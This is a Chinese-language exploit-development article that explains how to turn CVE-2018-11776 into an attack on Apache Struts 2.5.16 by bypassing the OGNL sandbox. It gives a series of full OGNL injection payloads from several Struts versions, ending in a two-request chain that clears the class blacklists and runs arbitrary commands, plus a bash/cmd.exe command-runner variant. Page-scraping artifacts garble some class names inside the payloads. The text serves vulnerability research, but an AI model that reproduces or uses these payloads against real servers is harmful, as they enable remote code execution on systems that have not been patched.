1. 程式人生 > >作為武器的CVE-2018-11776:繞過Apache Struts 2.5.16 OGNL 沙箱

作為武器的CVE-2018-11776:繞過Apache Struts 2.5.16 OGNL 沙箱

這篇文章我將介紹如何去構建CVE-2018-11776的利用鏈。首先我將介紹各種緩解措施,這些措施是Struts 安全團隊為了限制OGNL 的能力而設定的,並且我也會介紹繞過這些措施的技術。我將重點介紹SecurityMemberAccess 類的一般改進,這個類就像一個安全管理系統,它決定OGNL 能做什麼,也會限制OGNL 的執行環境。我將忽略很多特殊元件的特殊的措施,例如ParametersInterceptor類中改進了白名單機制。

在Struts中利用OGNL 的簡短歷史

在介紹CVE-2018-11776之前,我先說明一些背景並且介紹一些概念以幫助理解OGNL利用過程。我將利用TextArea中的

double evaluation bug說明利用過程,因為TextArea 可以更方便的顯示OGNL(可能這是一種特性)。首先我來介紹一些OGNL的基本概念。

OGNL 執行環境

在Struts的中,OGNL可以使用#符號訪問全域性物件。這個文件 主要介紹那些可以被訪問的物件。那裡會有一個物件列表,其中有兩個物件對於構建exp非常關鍵。首先是 _memberAccess,這個物件在SecurityMemberAccess物件中被用來控制OGNL 行為,並且另一些是context,這些context map可用訪問更多的其他的物件。這對於漏洞的利用非常有用。你可以通過 _memberAccess非常容易的修改SecurityMemberAccess 的安全設定。比如,許多容易的利用開始於:

#_memberAccess['allowStaticMethodAccess']=true

通過_memberAccess修改完設定後,就可以執行下面程式碼

@[email protected]().exec('xcalc')

彈出了計算器

SecurityMemberAccess

上面那一節已經解釋過,Struts 通過_memberAccess去控制OGNL所能執行的東西。最初,使用一個Boolean 變數(allowPrivateAccess, allowProtectedAccess, allowPackageProtectedAccess and allowStaticMethodAccess)去控制OGNL所能訪問的方法和Java類成員物件。預設情況下,所有的設定都是false。在最近的版本中,有三個黑名單(excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns)被用來禁用一些特殊的類和包。

沒有靜態函式,但是允許使用建構函式(在2.3.20之前)

但是預設情況下,_memberAccess被配置用來阻止訪問靜態,私有和保護函式。可是,在2.3.14.1之前,它可以更容易通過 #_memberAccess繞過並且改變這些設定。許多exp就是用到了這一點,比如 :

(#_memberAccess['allowStaticMethodAccess']=true).(@[email protected]().exec('xcalc'))

image
在2.3.14.1和更新的版本,allowStaticMethodAccess已經沒有用了並且已經沒法再修改了。可是,依然可以通過_memberAccess使用類的建構函式並且訪問公共函式,實際上沒有必要改變_memberAccess中的任何設定來執行任意程式碼

(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())

這個方法一直到2.3.20這個版本為止
image

沒有靜態方法,沒有建構函式,但是允許直接訪問類 ( 2.3.20-2.3.29 )

在2.3.20,在一些類中引入了黑名單excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns。另外一些重要的改變是阻止了所有建構函式的呼叫。這就不能用ProcessBuilder這個payload。從這一點來看,靜態函式和建構函式都沒有許可權去呼叫了,這對於OGNL 有相當強的限制。可是,_memberAccess仍然可以訪問而且還可以做更多的東西。還有靜態物件 DefaultMemberAccess 可以訪問。預設情況下,在SecurityMemberAccess類中的DefaultMemberAccess 也是很脆弱的版本,它可以訪問靜態函式和建構函式。所以,很簡單,直接用DefaultMemberAccess替換 _memberAccess的值

(#[email protected]@DEFAULT_MEMBER_ACCESS).(@[email protected]().exec('xcalc'))

這種方法一直到2.3.29之前都可以用,並且這種技巧依然是最近exp中常常使用到的

image

有限的類訪問和_memberAccess都被禁止了(2.3.30/2.5.2+)

最後, _memberAccess沒有用了,所以上面說到的一些小技巧也沒有用了。更重要的是,ognl類,MemberAccess和ognl.DefaultMemberAccess也被加入了黑名單,怎樣去繞過他們呢?讓我們看看S2-045的payload

(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('xcalc'))

注意到的第一件事是,這個exp沒有試圖訪問_memberAccess。代替它的是,它試圖獲得 OgnlUtil的例項,並且清理了所有的黑名單。所有它是怎麼工作的?這個exp首先從 context map中獲得一個 Container ,這個map中包含下面的keys:
image
在OGNL執行環境中 com.opensymphony.xwork2.ActionContext.container這個keys給我一個 Container例項。
image
這個例項方法試圖建立一個OgnlUtil例項,但是因為它是一個單例模式。它返回一個存在的全域性物件例項。
image
看看在全域性物件OgnlUtil中excludedClasses 是怎麼被關聯到 _memberAccess物件的,讓我們看看_memberAccess怎樣被初始化的。
當請求到來的時候,一個ActionContext物件被createActionContext方法建立。

最後,OgnlValueStack 的setOgnlUtil函式被呼叫,以用來初始化OgnlValueStack 的securityMemberAccess ,這樣就獲得OgnlUtil的全域性例項

我們從下面的圖看到,securityMemberAccess(在最後一行)和_memberAccess(第一行)是一樣的。

這就意味著全域性OgnlUtil 例項都共享相同的SET:excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns作為_memberAccess,所以清除這些之後也會清除與_memberAccess相匹配的SET。
在那之後,OGNL 就可以自由的訪問DEFAULT_MEMBER_ACCESS物件並且 OgnlContextsetMemberAccess 代替了 _memberAccess和DEFAULT_MEMBER_ACCESS,這樣就可以執行任意程式碼了

繞過2.5.16

我將解釋怎樣繞過2.5.16中的限制和 CVE-2018-11776。讓我們看看官方披露漏洞兩天之後公開的一個exp。這是一個不同的版本,但他們大致是這樣的:

${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='xcalc').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}

看過上一節的讀者應該能夠發現至少兩個原因,為什麼這個exp不能工作在2.5.16,並且確定這個exp在哪個版本中不能用(小提示:2.5.x的一個版本),這個實際上是一個好訊息,讓人們有足夠的時間升級自己的伺服器並且也希望能防止大規模的攻擊發生。

現在讓我們構建一個實際可行的exp

我們已經瞭解了OGNL的緩解措施,自然是利用最新的那個漏洞,就像下面那樣:

(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('xcalc'))

但是在2.5.16這個版本中卻不能成功,原因是廠商添加了很多其他的限制。首先,在 2.5.13 中context被移除,還有 excludedClasses 也是一樣。在2.5.10之後,黑名單變成了immutable

解釋一下,在 2.5.13這個版之後,context 這個全域性變數就不能再使用了,所以第一步是尋找context的替代方案。讓我們看看有哪些是可用的( https://cwiki.apache.org/confluence/display/WW/OGNL )。我會按照字母表的順一個個去嘗試,讓我們看看attr。

在struts的值中,valueStack 脫穎而出,OgnlValueStack 是它的型別。如果我想回到OGNL使用 context map,那麼OgnlValueStack 這個型別似乎是一個很好的候選者。的確,有一些方法可用呼叫 getContext ,結果它確實按照我們的想法給了我們一個 context map,所以我們修改前面的exp:

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('xcalc'))

但,這個exp還是不能執行,因為excludedClasses 和excludedPackageNames是不可改變的:

不幸的是,黑名單不是一成不變的,因為你可以通過 setters 改變。

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames('')).(#context.setMemberAccess(@ognl.OgnlContext[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('xcalc'))

可是,這個exp還是不行,因為ognlUtil中excludedClasses這個set被清除了。

但是_memberAccess中沒有被清除

這是因為當在ognlUtil中設定excludedClasses,它會分配excludedClasses 到一個空的集合而不是通過_memberAccess和ognlUtil去修改集合的引用。所以這個改變僅僅影響了ognlUtil,而沒有影響_memberAccess。這樣,我們現在重新發送我們的payload:

這是怎麼回事?記住,_memberAccess 是一個短暫的物件,當每個請求到來的時候ActionContext 會建立這個物件。每次新的ActionContext 會被createActionContext方法建立, setOgnlUtil方法被呼叫,目的是用excludedClasses, excludedPackageNames去建立_memberAccess。黑名單來自全域性的ognlUtil。所以,通過重新發送請求,新建立的_memberAccess將清空其黑名單中類和包,這樣就允許我們執行我們的程式碼。整理這些payload,我最後得到兩個payloads,第一個是清空excludedClasses 和 excludedPackageNames的黑名單。

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))

第二個是解除_memberAccess並且執行任意程式碼

(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('xcalc'))

一個接一個的傳送這些payload,可以讓我通過CVE-2018-11776執行任意程式碼。

感謝 Kevin Backhouse,這裡提供了一個完全可用的CVE-2018-11776的poc,最高可攻擊2.5.16這個版本。並且從頭構建了一個dockers映象,目的是搞清楚exp起作用的版本到底是哪個。